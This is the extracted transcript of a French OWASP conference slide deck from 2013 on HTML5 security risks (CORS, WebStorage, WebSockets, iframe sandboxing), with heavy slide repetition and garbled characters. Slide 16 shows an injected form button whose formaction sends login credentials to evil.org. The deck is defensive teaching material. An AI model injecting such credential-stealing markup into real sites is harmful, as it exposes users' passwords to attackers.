2013 04-04-html5-security-v2
-
Upload
sebastien-gioria -
Category
Technology
-
view
1.478 -
download
0
Transcript of 2013 04-04-html5-security-v2
et la sécuritéun point d’étape
Sébas3en GioriaOWASP France Leader GSDays -‐ 4 Avril 2013 -‐ Paris -‐ France
Friday, April 5, 13
http://www.google.fr/#q=sebastien gioria
‣OWASP France Leader & Founder - Evangéliste
‣OWASP Global Education Comittee Member ([email protected])
‣Consultant Indépendant en Sécurité Applicative
Twitter :@SPoint
2Friday, April 5, 13
Agenda
• Un peu d’histoire• HTML5 pour les nuls en 4mn 2s• Nouvelles a;aques et protec>ons ?• Références
3Oui, vous avez bien lu quelque chose ici
Friday, April 5, 13
Delorean Passion
201320001995
4
HTML 2.0
HTML 4.0 HTML 5 ?
CSS 2
1998 2006
CSS 3
JavaScriptla DOM
XmlH;pRequest
1993
HTML 1.0
Il n’y aura pas d’éléphpants dans ce;e présenta>on
Friday, April 5, 13
Delorean Passion
201320001995
4
HTML 2.0
HTML 4.0 HTML 5 ?
CSS 2
1998 2006
CSS 3
JavaScriptla DOM
XmlH;pRequest
1993
HTML 1.0
Il n’y aura pas d’éléphpants dans ce;e présenta>on
Friday, April 5, 13
Delorean Passion
201320001995
4
HTML 2.0
HTML 4.0 HTML 5 ?
CSS 2
1998 2006
CSS 3
JavaScriptla DOM
XmlH;pRequest
1993
HTML 1.0
20 ans, noces de porcelaine...
Il n’y aura pas d’éléphpants dans ce;e présenta>on
Friday, April 5, 13
L’état de la norme
5par contre il y a d’autres animaux...
Friday, April 5, 13
Eléments intéressants de HTML5
6mais pas dans ce slide
Friday, April 5, 13
4mn 2s
• Nouvelles balises– On n’est pas la pour parler de peinture...
• Nouvelles APIs–WebSocket–WebMessaging–IndexedDB–OffLine Web ApplicaBon–WebStorage (votre nouveau DropBox ? ...)–Cross Origin Ressource Sharing (déja rien que le nom est intéressant...)
7Ni dans celui la....
Friday, April 5, 13
4mn 2s
• WebSocket : Permet d’effectuer des connexions persistantes et bi-directionnelles•mécanisme de “Push” possible• interface en cours de finalisaBon/spécificaBons•nécessite un serveur “compaBble”•API minimaliste (send, receive via event)•hPp://www.w3.org/TR/websockets/
8en meme temps, des animaux dans ce;e présenta>on pourquoi ?
Friday, April 5, 13
4mn 2s
• WebMessaging : communication inter-documents HTML• via la méthode window.postMessage();•pas de garanBe de contenu inoffensif (ie; pas de filtre de type anB-‐XSS ....)
• vérificaBon de l’origine a la charge de l’applicaBon receptrice.
• il est possible de transporter du JSON :)•hPp://www.w3.org/TR/webmessaging/
9tout seimplement parcequ’elle a été finalisée à Paques
Friday, April 5, 13
4mn 2s
• IndexedDB; la Web SQL Database...•API synchrone et asynchrone•pensée pour JavaScript; stockage d’objets •hPp://www.w3.org/TR/IndexedDB/
10me;re des oeufs était difficile
Friday, April 5, 13
4mn 2s
• Offline Web Applications: possibilité d’exécuter tout ou partie des applications même non connecté.–via navigator.onLine–mise en cache des données nécessaires(HTML, CSS, JavaScript...)
–hPp://www.w3.org/TR/html5/offline.html
11et du chocolat aussi
Friday, April 5, 13
4mn 2s
• WebStorage : donne la capacité au navigateur de stocker jusqu’a 5Mo à 10Mo de données•deux type de stockage : local ou de session•possibilité de stocker des objets JSON•possibilité de stocker de manière régulière•hPp://www.w3.org/TR/webstorage/
12
Friday, April 5, 13
Sécurité ?
13
Friday, April 5, 13
Modèle de sécurité HTML5
14
Internet
Interface U>lisateur
DOM
JavaScript
HTML/CSS
Page/Appli
Sandbox/SOP
HTTP/XHR/WebSockets
Friday, April 5, 13
Modèle de sécurité HTML5
14
Internet
Interface U>lisateur
DOM
JavaScript
HTML/CSS
Page/Appli
Sandbox/SOP
HTTP/XHR/WebSockets
Friday, April 5, 13
Modèle de sécurité HTML5
14
Internet
Interface U>lisateur
DOM
JavaScript
HTML/CSS
Page/Appli
Sandbox/SOP
HTTP/XHR/WebSockets
Friday, April 5, 13
Modèle de sécurité HTML5
14
Internet
Interface U>lisateur
DOM
JavaScript
HTML/CSS
APIs Stockage (Web, SQL, ..)
Page/Appli
Sandbox/SOP
HTTP/XHR/WebSockets
Friday, April 5, 13
Modèle de sécurité HTML5
14
Internet
Interface U>lisateur
DOM
JavaScript
HTML/CSS
APIs Stockage (Web, SQL, ..)
API GeoLoc
Page/Appli
Sandbox/SOP
HTTP/XHR/WebSockets
Friday, April 5, 13
Modèle de sécurité HTML5
14
Internet
Interface U>lisateur
DOM
JavaScript
HTML/CSS
APIs Stockage (Web, SQL, ..)
API GeoLoc API ...
Page/Appli
Sandbox/SOP
HTTP/XHR/WebSockets
Friday, April 5, 13
FalsificaBon de Forms
15
• Il est possible de contrôler une Forms en dehors de l’élément “form”
<form id=“myform” action=“basic.php” > <input type=“text” name=“user” value=“…” /></form>
<input form=“myform” type=“submit” name=“…” value=“Advanced Version”/>
Friday, April 5, 13
FalsificaBon Forms
16
<form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /></form>
Friday, April 5, 13
FalsificaBon Forms
16
<form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /></form>
Si on arrive à injecter ce code
Friday, April 5, 13
FalsificaBon Forms
16
<form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /></form>
New VIP section of the site is open!<input form=“login” type=“submit” name=“Enter VIP section” formaction=“http://evil.org/login.php” />
Si on arrive à injecter ce code
Friday, April 5, 13
FalsificaBon Forms
16
<form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /></form>
New VIP section of the site is open!<input form=“login” type=“submit” name=“Enter VIP section” formaction=“http://evil.org/login.php” />
Si on arrive à injecter ce code
Friday, April 5, 13
FalsificaBon Forms
16
<form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /></form>
New VIP section of the site is open!<input form=“login” type=“submit” name=“Enter VIP section” formaction=“http://evil.org/login.php” />
Si on arrive à injecter ce code
Automa3quement, evil.org dispose des éléments et la Forms ini3ale est appelée
Friday, April 5, 13
Protocol/content Handlers
17
• Il est possible d’enregistrer des handlers de protocole ou de type de fichiers personalisés
• sms://• applica>on/pdf
Il est possible (mais pas recommandé) de changer les handlers standards (dépend des navigateurs)Il n’est pas obligatoire de demander à l’u3lisateur son autorisa3on
Friday, April 5, 13
Cross Origin Resource Sharing 1/4
• XHR ne peut dialoguer qu’avec le site Web originaire du JavaScript
18non, vous avez bien lu...Un boeuf !
Friday, April 5, 13
Cross Origin Resource Sharing 1/4
• XHR ne peut dialoguer qu’avec le site Web originaire du JavaScript
18non, vous avez bien lu...Un boeuf !
Friday, April 5, 13
Cross Origin Resource Sharing 1/4
• XHR ne peut dialoguer qu’avec le site Web originaire du JavaScript
18
Mais c’etait sans compter les boeufs !
non, vous avez bien lu...Un boeuf !
Friday, April 5, 13
Cross Origin Resource Sharing 1/4
• XHR ne peut dialoguer qu’avec le site Web originaire du JavaScript
18
HTTP/1.1 200 OKContent-Type: text/htmlAccess-Control-Allow-Origin: http://internal.example.com
Mais c’etait sans compter les boeufs !
non, vous avez bien lu...Un boeuf !
Friday, April 5, 13
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
19
poc.ckers.fr
intranetFriday, April 5, 13
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
19
poc.ckers.fr
intranetFriday, April 5, 13
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
19
poc.ckers.fr
intranetFriday, April 5, 13
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
19
poc.ckers.fr
intranetFriday, April 5, 13
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
19
poc.ckers.fr
intranetFriday, April 5, 13
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
19
poc.ckers.fr
intranet
GET / H
TTP/1.1
Friday, April 5, 13
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
19
poc.ckers.fr
intranet
GET / H
TTP/1.1
Friday, April 5, 13
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
19
poc.ckers.fr
intranet HTTP/1.1 200 Ok
Access-‐Con
trol-‐Allow-‐Orig
in: *
GET / H
TTP/1.1
Friday, April 5, 13
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
19
poc.ckers.fr
intranet HTTP/1.1 200 Ok
Access-‐Con
trol-‐Allow-‐Orig
in: *
GET / H
TTP/1.1
Friday, April 5, 13
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
19
poc.ckers.fr
intranetFriday, April 5, 13
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
19
GET / HTTP/1.1
poc.ckers.fr
intranetFriday, April 5, 13
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
19
GET / HTTP/1.1
poc.ckers.fr
intranetFriday, April 5, 13
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
19
poc.ckers.fr
intranetFriday, April 5, 13
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
19
HTTP/1.1 200 Ok<script>XMLH;pRequest...
poc.ckers.fr
intranetFriday, April 5, 13
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
19
HTTP/1.1 200 Ok<script>XMLH;pRequest...
poc.ckers.fr
intranetFriday, April 5, 13
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
19
poc.ckers.fr
intranetFriday, April 5, 13
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
19
XMLH
TTPR
eque
st
poc.ckers.fr
intranetFriday, April 5, 13
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
19
XMLH
TTPR
eque
st
poc.ckers.fr
intranetFriday, April 5, 13
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
19
poc.ckers.fr
intranetFriday, April 5, 13
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
19
HTTP/1.1 200 Ok
Access-‐Con
trol-‐Allow-‐Orig
in: *
poc.ckers.fr
intranetFriday, April 5, 13
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
19
HTTP/1.1 200 Ok
Access-‐Con
trol-‐Allow-‐Orig
in: *
poc.ckers.fr
intranetFriday, April 5, 13
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
19
HTTP/1.1 200 Ok
Access-‐Con
trol-‐Allow-‐Orig
in: *
poc.ckers.fr
intranetFriday, April 5, 13
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
19
HTTP/1.1 200 Ok
Access-‐Con
trol-‐Allow-‐Orig
in: *
poc.ckers.fr
intranetFriday, April 5, 13
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
19
poc.ckers.fr
intranetFriday, April 5, 13
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
19
POST /endpoint HTTP/1.1.....(contenu de la page interne)
poc.ckers.fr
intranetFriday, April 5, 13
Cross Origin Resource Sharing 3/4
DDOS ?
20
poc.ckers.fr
www.cible.com
Friday, April 5, 13
Cross Origin Resource Sharing 3/4
DDOS ?
20
poc.ckers.fr
www.cible.com
Friday, April 5, 13
Cross Origin Resource Sharing 3/4
DDOS ?
20
poc.ckers.fr
www.cible.com
Friday, April 5, 13
Cross Origin Resource Sharing 3/4
DDOS ?
20
poc.ckers.fr
www.cible.com
Friday, April 5, 13
Cross Origin Resource Sharing 3/4
DDOS ?
20
poc.ckers.fr
www.cible.com
Friday, April 5, 13
Cross Origin Resource Sharing 3/4
DDOS ?
20
GET / HTTP/1.1
poc.ckers.fr
www.cible.com
Friday, April 5, 13
Cross Origin Resource Sharing 3/4
DDOS ?
20
GET / HTTP/1.1
poc.ckers.fr
www.cible.com
Friday, April 5, 13
Cross Origin Resource Sharing 3/4
DDOS ?
20
poc.ckers.fr
www.cible.com
Friday, April 5, 13
Cross Origin Resource Sharing 3/4
DDOS ?
20
HTTP/1.1 200 Ok<iframe src=...
poc.ckers.fr
www.cible.com
Friday, April 5, 13
Cross Origin Resource Sharing 3/4
DDOS ?
20
poc.ckers.fr
www.cible.com
Friday, April 5, 13
Cross Origin Resource Sharing 3/4
DDOS ?
20
poc.ckers.fr
www.cible.com
Friday, April 5, 13
Cross Origin Resource Sharing 3/4
DDOS ?
20
poc.ckers.fr
www.cible.com
Friday, April 5, 13
Cross Origin Resource Sharing 3/4
DDOS ?
20
poc.ckers.fr
www.cible.com
Friday, April 5, 13
Cross Origin Resource Sharing 3/4
DDOS ?
20
XMLH;pRequest
poc.ckers.fr
www.cible.com
Friday, April 5, 13
Cross Origin Resource Sharing 3/4
DDOS ?
20
poc.ckers.fr
www.cible.com
Friday, April 5, 13
Cross Origin Resource Sharing 3/4
DDOS ?
20
poc.ckers.fr
www.cible.com
Friday, April 5, 13
Cross Origin Resource Sharing 3/4
DDOS ?
20
XMLH;pRequest
poc.ckers.fr
www.cible.com
Friday, April 5, 13
Cross Origin Resource Sharing 3/4
DDOS ?
20
poc.ckers.fr
www.cible.com
Friday, April 5, 13
Cross Origin Resource Sharing 3/4
DDOS ?
20
poc.ckers.fr
www.cible.com
Friday, April 5, 13
Cross Origin Resource Sharing 3/4
DDOS ?
20
XMLH;pRequest
poc.ckers.fr
www.cible.com
Friday, April 5, 13
Cross Origin Resource Sharing 3/4
DDOS ?
20
poc.ckers.fr
www.cible.com
Friday, April 5, 13
Cross Origin Resource
• Contre-‐mesures : •RestricBon du domaine•Ne pas faire confiance à l’entete; elle peut être modifiée par l’aPaquant.
•MePre en place des contre-‐mesures réseaux
21franchement, vous avez une autre réelle solu>on pour les DDOS ? => Venir me voir a la fin de la présenta>on avec votre vraie solu>on....
Friday, April 5, 13
Cross Origin Resource
• Contre-‐mesures : •RestricBon du domaine•Ne pas faire confiance à l’entete; elle peut être modifiée par l’aPaquant.
•MePre en place des contre-‐mesures réseaux
21franchement, vous avez une autre réelle solu>on pour les DDOS ? => Venir me voir a la fin de la présenta>on avec votre vraie solu>on....
Friday, April 5, 13
Cross Origin Resource
• Contre-‐mesures : •RestricBon du domaine•Ne pas faire confiance à l’entete; elle peut être modifiée par l’aPaquant.
•MePre en place des contre-‐mesures réseaux
21
pour les DDOS
franchement, vous avez une autre réelle solu>on pour les DDOS ? => Venir me voir a la fin de la présenta>on avec votre vraie solu>on....
Friday, April 5, 13
Cross Origin Resource
• Contre-‐mesures : •RestricBon du domaine•Ne pas faire confiance à l’entete; elle peut être modifiée par l’aPaquant.
•MePre en place des contre-‐mesures réseaux
21
pour les DDOS
franchement, vous avez une autre réelle solu>on pour les DDOS ? => Venir me voir a la fin de la présenta>on avec votre vraie solu>on....
Friday, April 5, 13
Cross Origin Resource
• Contre-‐mesures : •RestricBon du domaine•Ne pas faire confiance à l’entete; elle peut être modifiée par l’aPaquant.
•MePre en place des contre-‐mesures réseaux
21
débrancher le cable....
pour les DDOS
franchement, vous avez une autre réelle solu>on pour les DDOS ? => Venir me voir a la fin de la présenta>on avec votre vraie solu>on....
Friday, April 5, 13
WebStorage
• Pas de contrôle de la part de l’u>lisateur sur ce qui est stocké/accéder➡DOS via les disques par remplissage
• L’injec>on de Javascript peut bypasser la limita>on du contrôle d’accès.➡Vol de Sessions➡Vol de données sensibles➡Tracking d’uBlisateurs
22
Friday, April 5, 13
All you disk is belong to US ?
23bon, oui, la vidéo a été faite hier...mais c’etait pour éviter l’effet démo
Friday, April 5, 13
All you disk is belong to US ?
• Par défaut WebStorage limite a quelques méga l’espace disque par origine (2.5Mb à 10Mb)
23bon, oui, la vidéo a été faite hier...mais c’etait pour éviter l’effet démo
Friday, April 5, 13
All you disk is belong to US ?
• Par défaut WebStorage limite a quelques méga l’espace disque par origine (2.5Mb à 10Mb)
• La norme dit que chaque origine n’a pas forcément 5Mb. Mais...
23bon, oui, la vidéo a été faite hier...mais c’etait pour éviter l’effet démo
Friday, April 5, 13
All you disk is belong to US ?
• Par défaut WebStorage limite a quelques méga l’espace disque par origine (2.5Mb à 10Mb)
• La norme dit que chaque origine n’a pas forcément 5Mb. Mais...
23bon, oui, la vidéo a été faite hier...mais c’etait pour éviter l’effet démo
Friday, April 5, 13
All you disk is belong to US ?
• Par défaut WebStorage limite a quelques méga l’espace disque par origine (2.5Mb à 10Mb)
• La norme dit que chaque origine n’a pas forcément 5Mb. Mais...
23bon, oui, la vidéo a été faite hier...mais c’etait pour éviter l’effet démo
Friday, April 5, 13
All you disk is belong to US ?
• Par défaut WebStorage limite a quelques méga l’espace disque par origine (2.5Mb à 10Mb)
• La norme dit que chaque origine n’a pas forcément 5Mb. Mais...
23
• En cours de correc>on, mais démonstra>on intéressante....
• Tests à h;p://www.filldisk.com/
bon, oui, la vidéo a été faite hier...mais c’etait pour éviter l’effet démo
Friday, April 5, 13
WebStorage
• Tracking User
24
Les localStorage ne sont pas forcément effacés lorsqu’on efface l’historique (ni quand on qui]e le navigateur)
J’en connais plusieurs qui vont ouvrir FireBug rapidement....
Friday, April 5, 13
WebStorage
• Tracking User
24
Les localStorage ne sont pas forcément effacés lorsqu’on efface l’historique (ni quand on qui]e le navigateur)
J’en connais plusieurs qui vont ouvrir FireBug rapidement....
Friday, April 5, 13
WebStorage
• Tracking User
24
Les localStorage ne sont pas forcément effacés lorsqu’on efface l’historique (ni quand on qui]e le navigateur)
Il est donc possible de créer des iden3fiants (de type cookies) persistants perme]ant de suivre l’u3lisateur
J’en connais plusieurs qui vont ouvrir FireBug rapidement....
Friday, April 5, 13
WebSocket API :)
• Possible entre différents domaines• Perme;rai de réduire la taille du contenu transporté ?
•
25c’est quand même un peu sale de se servir des WebSockets
Friday, April 5, 13
WebSocket API :)
• Possible entre différents domaines• Perme;rai de réduire la taille du contenu transporté ?
•
25c’est quand même un peu sale de se servir des WebSockets
Friday, April 5, 13
WebSocket API :)
• Possible entre différents domaines• Perme;rai de réduire la taille du contenu transporté ?
•
25c’est quand même un peu sale de se servir des WebSockets
Friday, April 5, 13
WebSocket API :)
• Possible entre différents domaines• Perme;rai de réduire la taille du contenu transporté ?
•
25c’est quand même un peu sale de se servir des WebSockets
Friday, April 5, 13
WebSocket API :)
• Possible entre différents domaines• Perme;rai de réduire la taille du contenu transporté ?
•
25
GET / HTTP/1.1
c’est quand même un peu sale de se servir des WebSockets
Friday, April 5, 13
WebSocket API :)
• Possible entre différents domaines• Perme;rai de réduire la taille du contenu transporté ?
•
25
GET / HTTP/1.1
c’est quand même un peu sale de se servir des WebSockets
Friday, April 5, 13
WebSocket API :)
• Possible entre différents domaines• Perme;rai de réduire la taille du contenu transporté ?
•
25
GET / HTTP/1.1
HTTP/1.1 200 Ok
c’est quand même un peu sale de se servir des WebSockets
Friday, April 5, 13
WebSocket API :)
• Possible entre différents domaines• Perme;rai de réduire la taille du contenu transporté ?
•
25
GET / HTTP/1.1
HTTP/1.1 200 Ok
c’est quand même un peu sale de se servir des WebSockets
Friday, April 5, 13
WebSocket API :)
• Possible entre différents domaines• Perme;rai de réduire la taille du contenu transporté ?
•
25
GET / HTTP/1.1
Upgrade WebSocket
HTTP/1.1 200 Ok
c’est quand même un peu sale de se servir des WebSockets
Friday, April 5, 13
WebSocket API :)
• Possible entre différents domaines• Perme;rai de réduire la taille du contenu transporté ?
•
25
GET / HTTP/1.1
Upgrade WebSocket
HTTP/1.1 200 Ok
c’est quand même un peu sale de se servir des WebSockets
Friday, April 5, 13
WebSocket API :)
• Possible entre différents domaines• Perme;rai de réduire la taille du contenu transporté ?
•
25
GET / HTTP/1.1
Upgrade WebSocket
WebSocket Protocol Handshake
HTTP/1.1 200 Ok
c’est quand même un peu sale de se servir des WebSockets
Friday, April 5, 13
WebSocket API :)
• Possible entre différents domaines• Perme;rai de réduire la taille du contenu transporté ?
•
25
GET / HTTP/1.1
Upgrade WebSocket
WebSocket Protocol Handshake
HTTP/1.1 200 Ok
c’est quand même un peu sale de se servir des WebSockets
Friday, April 5, 13
WebSocket API :)
• Possible entre différents domaines• Perme;rai de réduire la taille du contenu transporté ?
•
25
GET / HTTP/1.1
Upgrade WebSocket
WebSocket Protocol Handshake
HTTP/1.1 200 Ok
Tunnel TCP Full Duplex
c’est quand même un peu sale de se servir des WebSockets
Friday, April 5, 13
WebSocket API :)
• Possible entre différents domaines• Perme;rai de réduire la taille du contenu transporté ?
•
25
GET / HTTP/1.1
Upgrade WebSocket
WebSocket Protocol Handshake
HTTP/1.1 200 Ok
Tunnel TCP Full Duplex
c’est quand même un peu sale de se servir des WebSockets
Friday, April 5, 13
Websocket Menaces
• Parmi les a;aques possibles, certaines sont triviales: • Shell Distant •Botnet Web
•via un XSS ou tout simplement en se connectant à un site Web.
•Port scanning...
26
Friday, April 5, 13
WebSocket
• Empoisonnement de cache de proxy
27
Proxy Transparent
Ca me rappelle les proxy SFR...
Friday, April 5, 13
WebSocket
• Empoisonnement de cache de proxy
27
Proxy Transparent
Ca me rappelle les proxy SFR...
Friday, April 5, 13
WebSocket
• Empoisonnement de cache de proxy
27
Proxy Transparent
Ca me rappelle les proxy SFR...
Friday, April 5, 13
WebSocket
• Empoisonnement de cache de proxy
27
Proxy Transparent
Ca me rappelle les proxy SFR...
Friday, April 5, 13
WebSocket
• Empoisonnement de cache de proxy
27
Proxy Transparent
GET / HTTP/1.1
Ca me rappelle les proxy SFR...
Friday, April 5, 13
WebSocket
• Empoisonnement de cache de proxy
27
Proxy Transparent
GET / HTTP/1.1
Ca me rappelle les proxy SFR...
Friday, April 5, 13
WebSocket
• Empoisonnement de cache de proxy
27
Proxy Transparent
GET / HTTP/1.1
HTTP/1.1 200 Ok
Ca me rappelle les proxy SFR...
Friday, April 5, 13
WebSocket
• Empoisonnement de cache de proxy
27
Proxy Transparent
GET / HTTP/1.1
HTTP/1.1 200 Ok
Ca me rappelle les proxy SFR...
Friday, April 5, 13
WebSocket
• Empoisonnement de cache de proxy
27
Proxy Transparent
GET / HTTP/1.1
Upgrade WebSocket
HTTP/1.1 200 Ok
Ca me rappelle les proxy SFR...
Friday, April 5, 13
WebSocket
• Empoisonnement de cache de proxy
27
Proxy Transparent
GET / HTTP/1.1
Upgrade WebSocket
HTTP/1.1 200 Ok
Ca me rappelle les proxy SFR...
Friday, April 5, 13
WebSocket
• Empoisonnement de cache de proxy
27
Proxy Transparent
GET / HTTP/1.1
Upgrade WebSocket
WebSocket Protocol Handshake
HTTP/1.1 200 Ok
Ca me rappelle les proxy SFR...
Friday, April 5, 13
WebSocket
• Empoisonnement de cache de proxy
27
Proxy Transparent
GET / HTTP/1.1
Upgrade WebSocket
WebSocket Protocol Handshake
HTTP/1.1 200 Ok
Ca me rappelle les proxy SFR...
Friday, April 5, 13
WebSocket
• Empoisonnement de cache de proxy
27
Proxy Transparent
GET / HTTP/1.1
Upgrade WebSocket
WebSocket Protocol Handshake
HTTP/1.1 200 Ok
Ca me rappelle les proxy SFR...
Friday, April 5, 13
WebSocket
• Empoisonnement de cache de proxy
27
Proxy Transparent
GET / HTTP/1.1
Upgrade WebSocket
WebSocket Protocol Handshake
HTTP/1.1 200 Ok
GET / HTTP/1.1Host: some.host.com
Ca me rappelle les proxy SFR...
Friday, April 5, 13
WebSocket
• Empoisonnement de cache de proxy
27
Proxy Transparent
GET / HTTP/1.1
Upgrade WebSocket
WebSocket Protocol Handshake
HTTP/1.1 200 Ok
GET / HTTP/1.1Host: some.host.com
Ca me rappelle les proxy SFR...
Friday, April 5, 13
WebSocket
• Empoisonnement de cache de proxy
27
Proxy Transparent
GET / HTTP/1.1
Upgrade WebSocket
WebSocket Protocol Handshake
HTTP/1.1 200 Ok
GET / HTTP/1.1Host: some.host.com
HTTP/1.1 200 OkContenu falsifié
Ca me rappelle les proxy SFR...
Friday, April 5, 13
OffLine Web ApplicaBon
• Possibilité d’avoir des a;aques de Type APT ?
• Possibilité de pollu>on des caches de navigateurs (via un point d’accès malveillant); meme du SSL
28
<!DOCTYPE HTML><html manifest="/cache.manifest"><body>
Je crois que Nicolas a un bon avis sur les APT....
Friday, April 5, 13
WebMessage
• Possibilité de perte de données sensibles (si envoyées à une “mauvaise iframe”)
29
<iframe src=”outside.control”
postMessage() Page du site “interne”
Friday, April 5, 13
Bac a sable des iframes
• Par défaut si rien n’est précisé : • Les formulaires, scripts et plug-‐ins sont désac>vés.• Pas d’accès aux éléments stockés en local (cookies, sessionStorage, localStorage).
• Pas d’AJAX • Les liens ne peuvent cibler d’autres frames• Le contenu est considéré externe (pas d’accès à la DOM)
30
<iframe sandbox="....."src="http://monsite.com/index.html"></iframe>
vous saviez que les bacs a sables sont remplacés par des bacs à gravier maintenant ?
Friday, April 5, 13
Bac a sable des iframes
• Lever les restric>ons : • allow-‐same-‐origin : autorise le contenu a être traité comme de la même origine est pas externe
• allow-‐top-‐naviga>on : l’iframe peut accéder à la naviga>on de niveau supérieur
• allow-‐forms : autorise les formulaires• allow-‐ scripts : les scripts (hors popup) sont autorisés
31
Les navigateurs ne supportent pas tous ces éléments !
tout cela pour l’hygiène alors qu’on nous fais passer du cheval pour du boeuf !
Friday, April 5, 13
Autres points importants
• Les longs traitements en JavaScript “plantaient” les navigateurs. • Les WebWorkers perme;ent de lancer des JavaScript en tache de fond– N’accèdent pas à la DOM – Accèdent à XHR, objet navigator, cache, lancement d’autres WebWorkers...
32
DDOS avec CORS & WebWorkers
Calculs distribués (cf Ravan)
Bientot la fin
Friday, April 5, 13
Autres points importants
• Les longs traitements en JavaScript “plantaient” les navigateurs. • Les WebWorkers perme;ent de lancer des JavaScript en tache de fond– N’accèdent pas à la DOM – Accèdent à XHR, objet navigator, cache, lancement d’autres WebWorkers...
32
DDOS avec CORS & WebWorkers
Calculs distribués (cf Ravan)
Bientot la fin
Friday, April 5, 13
Autres Points importants
• CSS3 introduit de nouvelles capacités à injecter du code JavaScript
33
Nouvelles capacités au ClickJacking
ou facebook jacking ou autre jacking....
Friday, April 5, 13
Conclusion
• Plein de nouvelles API interessantes pour le développeur(et les agences Webs)
34
L’ouverture se fait au détriment de la sécurité....(même si un accent supplémentaire a été mis dessus dans les Specs)
Une surface d’a;aque accrue (CORS, Web/Storage|Socket|Workers)
La belle part au JavaScript (qui peut s’executer sans consentement u>lisateur)
non, non, je ne fais pas que >rer sur les agences Web...
Friday, April 5, 13
ww.html5test.com
35étonnant le cas du Blackberry non ?
Friday, April 5, 13
ww.html5test.com
35étonnant le cas du Blackberry non ?
Friday, April 5, 13
ww.html5test.com
35étonnant le cas du Blackberry non ?
Friday, April 5, 13
ww.html5test.com
35étonnant le cas du Blackberry non ?
Friday, April 5, 13
ww.html5test.com
35étonnant le cas du Blackberry non ?
Friday, April 5, 13
ww.html5test.com
35étonnant le cas du Blackberry non ?
Friday, April 5, 13
ww.html5test.com
35étonnant le cas du Blackberry non ?
Friday, April 5, 13
Quelques Sites a suivre..
• h;p://www.w3.org/TR/html5/ : le standard• h;ps://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet
• h;p://www.caniuse.com : liste des différents supports d’API par navigateur
• h;p://www.html5test.com : le support de VOTRE navigateur vis a vis de la norme.
• h;p://html5readiness.com/ : L’état du support des APis par les navigateurs
36Bon ben voila, c’est la fin, merci d’être encore présent ;)
Friday, April 5, 13
@SPoint
sebas>[email protected]
Il n'y a qu'une façon d'échouer, c'est d'abandonner avant d'avoir réussi [Olivier Lockert]
Friday, April 5, 13